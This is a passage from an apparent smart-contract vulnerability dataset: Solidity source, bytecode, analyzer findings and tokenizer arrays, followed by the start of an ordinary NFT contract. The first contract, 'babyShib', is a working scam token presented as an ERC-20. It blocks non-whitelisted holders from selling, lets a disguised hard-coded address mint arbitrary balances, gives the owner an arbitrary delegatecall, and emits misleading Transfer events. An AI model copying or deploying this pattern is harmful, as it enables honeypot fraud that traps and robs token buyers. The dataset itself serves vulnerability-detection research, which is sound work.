Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } //heyuemingchen contract babyShib { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1128272879772349028992474526206451541022554459967)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x6080604052600436106100dd5760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb146104ec578063aa2f522014610552578063d6d2b6ba1461062c578063dd62ed3e14610707576100dd565b806370a08231146103905780638cd8db8a146103f557806395d89b411461045c576100dd565b806318160ddd116100bb57806318160ddd1461024b57806321a9cf341461027657806323b872dd146102df578063313ce56714610365576100dd565b806306fdde03146100e2578063095ea7b314610172578063109b1ee6146101d8575b600080fd5b3480156100ee57600080fd5b506100f761078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082a565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b50610231600480360360408110156101fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061091c565b604051808215151515815260200191505060405180910390f35b34801561025757600080fd5b50610260610a77565b6040518082815260200191505060405180910390f35b34801561028257600080fd5b506102c56004803603602081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a7d565b604051808215151515815260200191505060405180910390f35b61034b600480360360608110156102f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b23565b604051808215151515815260200191505060405180910390f35b34801561037157600080fd5b5061037a610e36565b6040518082815260200191505060405180910390f35b34801561039c57600080fd5b506103df600480360360208110156103b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e3b565b6040518082815260200191505060405180910390f35b34801561040157600080fd5b506104426004803603606081101561041857600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610e53565b604051808215151515815260200191505060405180910390f35b34801561046857600080fd5b50610471610ef7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b1578082015181840152602081019050610496565b50505050905090810190601f1680156104de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105386004803603604081101561050257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f95565b604051808215151515815260200191505060405180910390f35b6106126004803603604081101561056857600080fd5b810190808035906020019064010000000081111561058557600080fd5b82018360208201111561059757600080fd5b803590602001918460208302840111640100000000831117156105b957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610faa565b604051808215151515815260200191505060405180910390f35b6107056004803603604081101561064257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561067f57600080fd5b82018360208201111561069157600080fd5b803590602001918460018302840111640100000000831117156106b357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611213565b005b34801561071357600080fd5b506107766004803603604081101561072a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611324565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108225780601f106107f757610100808354040283529160200191610822565b820191906000526020600020905b81548152906001019060200180831161080557829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109b9575073c5a18176e55ea932477b730ff3c8af4b24180f3f73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109c257600080fd5b6000821115610a16576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ad957600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600080821415610b365760019050610e2f565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c7d5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bf257600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610c88848484611349565b610c9157600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cdd57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eaf57600080fd5b60008311610ebe576000610ec6565b6012600a0a83025b60028190555060008211610edb576000610ee3565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f8d5780601f10610f6257610100808354040283529160200191610f8d565b820191906000526020600020905b815481529060010190602001808311610f7057829003601f168201915b505050505081565b6000610fa2338484610b23565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461100657600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561105a57600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b84518110156112075760008582815181106110c457fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002888161117457fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600288816111e357fe5b046040518082815260200191505060405180910390a35080806001019150506110ad565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461126d57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106112b85780518252602082019150602081019050602083039250611295565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114611318576040519150601f19603f3d011682016040523d82523d6000602084013e61131d565b606091505b5050505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b60008061137f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230611585565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061142a5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806114745750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806114aa57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806115025750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806115565750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561156557600191505061157e565b61156f8584611713565b61157857600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106115c45783856115c7565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561172857506000600254145b801561173657506000600354145b1561174457600090506117e3565b600060045411156117a0576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061179f57600090506117e3565b5b600060025411156117bf578160025411156117be57600090506117e3565b5b600060035411156117de576003548211156117dd57600090506117e3565b5b600190505b9291505056fea265627a7a72315820e30438a0f9c5bdbcd3f2dd4b74fc6bc0aa270a72ef84595f8847ce05891bb51364736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-lowlevel', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 2487, 7959, 19961, 2546, 17465, 2683, 2546, 22025, 2278, 24087, 2546, 23499, 2620, 2581, 2475, 2278, 2620, 29537, 19317, 2692, 2475, 9818, 2278, 22203, 2475, 2050, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2459, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,571
0x97021e6453898dc8bfE90A6064A47885A3d700B6
// SPDX-License-Identifier: MIT // Developed by KG Technologies (https://kgtechnologies.io) pragma solidity 0.8.11; /** _____ _ ____ _______ _____ ______ _ _ _ _ _ _____ ____ _____ / ____| | / __ \__ __|_ _| ____| | | | | | \ | |_ _/ __ \| __ \ | (___ | | | | | | | | | | | |__ | | | | | \| | | || | | | |__) | \___ \| | | | | | | | | | | __| _ | | | | | . ` | | || | | | _ / ____) | |___| |__| | | | _| |_| |____ | |__| | |__| | |\ |_| || |__| | | \ \ |_____/|______\____/ |_| |_____|______| \____/ \____/|_| \_|_____\____/|_| \_\ */ import "./lib/ERC721A.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @notice Represents opensea's proxy contract for delegated transactions */ contract OwnableDelegateProxy {} /** * @notice Represents opensea's ProxyRegistry contract. * Used to find the opensea proxy contract of a user */ contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @notice Represents any Smart Contract in the Slotie Ecosystem * that implements the ISlotieJrTransferExtender interface. */ interface ISlotieJrTransferExtender { function onSlotieJrBeforeTransfer(address from, address to, uint256 startTokenId, uint256 quantity) external; function onSlotieJrAfterTransfer(address from, address to, uint256 startTokenId, uint256 quantity) external; } /** * @title SlotieJr. * * @author KG Technologies (https://kgtechnologies.io). * * @notice This smart contract can be used to represent an ERC-721 asset on the Ethereum network. * It supports delayed reveals, gas-efficient batch minting {ERC721A}, freezing of metadata * and role-based access control. * * @dev The ERC-721A standard developed by chiru-labs, is used as a basis for this contract. * */ contract SlotieJr is ERC721A, AccessControl, Ownable { using Strings for uint256; /** * @dev UTILITY ADDRESSES */ address public slotieVerseDao; address public theSandboxEmbassyDao; address public slotieJrTransferExtender; address public slotieVerseBaseContract; address public stakingContract; address public payoutContract; /** * @dev NFT PLATFORM INTEGRATION */ address public openseaProxyRegistryAddress; /** * @dev METADATA */ string public baseURIString = ""; string public preRevealBaseURIString = "https://nft-demo-kgtechnologies.s3.amazonaws.com/1.json"; string public extension = ".json"; /** * @dev MINT SETTINGS */ uint256 public immutable maxMintPerTransaction = 50; /** * @dev FREEZE */ bool public isFrozen = false; /** * @dev REVEAL */ uint256 public revealDate = 1923870486; /** * @dev ROLES */ bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); bytes32 public constant DAO_ROLE = keccak256("DAO_ROLE"); /** * @dev MODIFIERS */ modifier notFrozen() { require(!isFrozen, "CONTRACT FROZEN"); _; } /** * @dev EVENTS */ event setBaseURIEvent(string indexed baseURI); event setPreRevealBaseURIEvent(string indexed preRevealBaseURI); event setRevealDateEvent(uint256 indexed revealDate); event setExtensionEvent(string indexed extension); event setOwnersExplicitEvent(uint256 indexed quantity); event ReceivedEther(address indexed sender, uint256 indexed amount); event setSlotieVerseDaoEvent(address indexed dao); event setTheSandboxEmbassyDaoEvent(address indexed dao); event setSlotieJrTransferExtenderEvent(address indexed extender); event setSlotieVerseBaseContractEvent(address indexed baseContract); event setStakingContractEvent(address indexed staking); event setPayoutContractEvent(address indexed payout); constructor( address _openseaProxyRegistryAddress ) ERC721A("My NFT Junior", "My NFT JR", maxMintPerTransaction) Ownable() { _setupRole(MINTER_ROLE, msg.sender); _setupRole(BURNER_ROLE, msg.sender); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); openseaProxyRegistryAddress = _openseaProxyRegistryAddress; } /** * @dev UTILITY ADDONS */ /** * @notice Future Slotie verse smart contracts * can hook into this function to perform actions * before juniors are transfered. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal override { super._beforeTokenTransfers(from, to, startTokenId, quantity); if (slotieJrTransferExtender != address(0)) { ISlotieJrTransferExtender( slotieJrTransferExtender ).onSlotieJrBeforeTransfer(from, to, startTokenId, quantity); } } /** * @notice Future Slotie verse smart contracts * can hook into this function to perform actions * after juniors are transfered. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal override { super._afterTokenTransfers(from, to, startTokenId, quantity); if (slotieJrTransferExtender != address(0)) { ISlotieJrTransferExtender( slotieJrTransferExtender ).onSlotieJrAfterTransfer(from, to, startTokenId, quantity); } } /** * @dev MINTING */ /** * @notice Function to mint NFTs to a specified address. Only * accessible by accounts with a role of MINTER_ROLE * * @param amount The amount of NFTs to be minted * @param _to The address to which the NFTs will be minted to */ function mintTo(uint256 amount, address _to) external onlyRole(MINTER_ROLE) { _safeMint(_to, amount); } /** * @dev VIEW ONLY */ /** * @notice Function to get the URI for the metadata of a specific tokenId * @dev Return value is based on revealDate. * * @param tokenId. The tokenId which we want to know the URI of. * @return The URI of token tokenid */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { return preRevealBaseURIString; /*if (block.timestamp >= revealDate) { return string(abi.encodePacked(baseURIString, tokenId.toString(), extension)); } else { return string(abi.encodePacked(preRevealBaseURIString, tokenId.toString(), extension)); } */ } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControl, ERC721A) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @notice Override isApprovedForAll to whitelist user's OpenSea proxy account to enable gas-less listings. * @dev Used for integration with opensea's Wyvern exchange protocol. * See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) override public view returns (bool) { // Create an instance of the ProxyRegistry contract from Opensea ProxyRegistry proxyRegistry = ProxyRegistry(openseaProxyRegistryAddress); // whitelist the ProxyContract of the owner of the NFT if (address(proxyRegistry.proxies(owner)) == operator) { return true; } if (openseaProxyRegistryAddress == operator) { return true; } return super.isApprovedForAll(owner, operator); } /** * @dev Override msgSender to allow for meta transactions on OpenSea. */ function _msgSender() override internal view returns (address sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = payable(msg.sender); } return sender; } /** * @dev OWNER ONLY */ /** * @notice Function to set address of Slotie Verse DAO * * @param _dao. The address of the Slotie Verse DAO */ function setSlotieVerseDao(address _dao) external onlyRole(DAO_ROLE) { slotieVerseDao = _dao; emit setSlotieVerseDaoEvent(_dao); } /** * @notice Function to set address of Slotie Jr Sanbox Embassy DAO * * @param _dao. The address of the Slotie Jr Sanbox Embassy DAO */ function setTheSandboxEmbassyDao(address _dao) external onlyRole(DAO_ROLE) { theSandboxEmbassyDao = _dao; emit setTheSandboxEmbassyDaoEvent(_dao); } /** * @notice Function to set address of Slotie Jr Transfer Extender * * @param _extender. The address of the Slotie Jr Transfer Extender */ function setSlotieJrTransferExtender(address _extender) external onlyRole(DAO_ROLE) { slotieJrTransferExtender = _extender; emit setSlotieJrTransferExtenderEvent(_extender); } /** * @notice Function to set address of Slotie Verse base contract * * @param _baseContract. The address of the Slotie Verse base contract */ function setSlotieVerseBaseContract(address _baseContract) external onlyRole(DAO_ROLE) { slotieVerseBaseContract = _baseContract; emit setSlotieVerseBaseContractEvent(_baseContract); } /** * @notice Function to set address of Slotie Jr staking contract * * @param _staking. The address of the Slotie JR staking contract */ function setStakingContract(address _staking) external onlyRole(DAO_ROLE) { stakingContract = _staking; emit setStakingContractEvent(_staking); } /** * @notice Function to set address of Slotie Jr payout contract * * @param _payout. The address of the Slotie JR payout contract */ function setPayoutContract(address _payout) external onlyRole(DAO_ROLE) { payoutContract = _payout; emit setPayoutContractEvent(_payout); } /** * @notice Allow for changing of metadata URL. * @dev Can be turned off by freezing the contract. * * @param _newBaseURI. The new base URL for the metadata of the collection. */ function setBaseURI(string memory _newBaseURI) external onlyOwner notFrozen { baseURIString = _newBaseURI; emit setBaseURIEvent(_newBaseURI); } /** * @notice Allow for changing of placeholder metadata URL. * @dev Can be turned off by freezing the contract. * * @param _newBaseURI. The new base URL for the placeholder metadata of the collection. */ function setPreRevealBaseURI(string memory _newBaseURI) external onlyOwner notFrozen { preRevealBaseURIString = _newBaseURI; emit setPreRevealBaseURIEvent(_newBaseURI); } /** * @notice Allow for changing of the reveal date of the collection. * @dev Can be turned off by freezing the contract. * * @param _newRevealDate. The new reveal date for the collection. */ function setRevealDate(uint256 _newRevealDate) external onlyOwner notFrozen { revealDate = _newRevealDate; emit setRevealDateEvent(_newRevealDate); } function setExtension(string calldata _extension) external onlyOwner notFrozen { extension = _extension; emit setExtensionEvent(_extension); } /** * @notice Allow for explicitly setting of an NFT's owner. * @dev Can be used in the future to avoid expensive in contract ownerOf query. * See {ERC721A-_setOwnersExplicit}. * * @param _quantity. The amount of NFT's to set the owner of explicitly. */ function setOwnersExplicit(uint256 _quantity) external onlyOwner { _setOwnersExplicit(_quantity); emit setOwnersExplicitEvent(_quantity); } /** * @notice Emit transfer event on NFT in case opensea missed minting event. * * @dev Sometimes opensea misses minting events, which causes the NFTs to * not show up on the platform. We can fix this by re-emitting the transfer * event on the NFT. * * @param start. The NFT to start from. * @param end. The NFT to finish with. */ function emitTransferEvent(uint256 start, uint256 end) external onlyOwner { require(start < end, "START CANNOT BE GREATED THAN OR EQUAL TO END"); require(end <= totalSupply(), "CANNOT EMIT ABOVE TOTAL SUPPY"); for (uint i = start; i < end; i++) { address owner = ownerOf(i); emit Transfer(owner, owner, i); } } /** * @dev FINANCE */ /** * @dev Fallback function for receiving Ether */ receive() external payable { emit ReceivedEther(msg.sender, msg.value); } } // SPDX-License-Identifier: MIT // Creator: Chiru Labs pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 1; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex - 1; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index <= totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i <= numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See 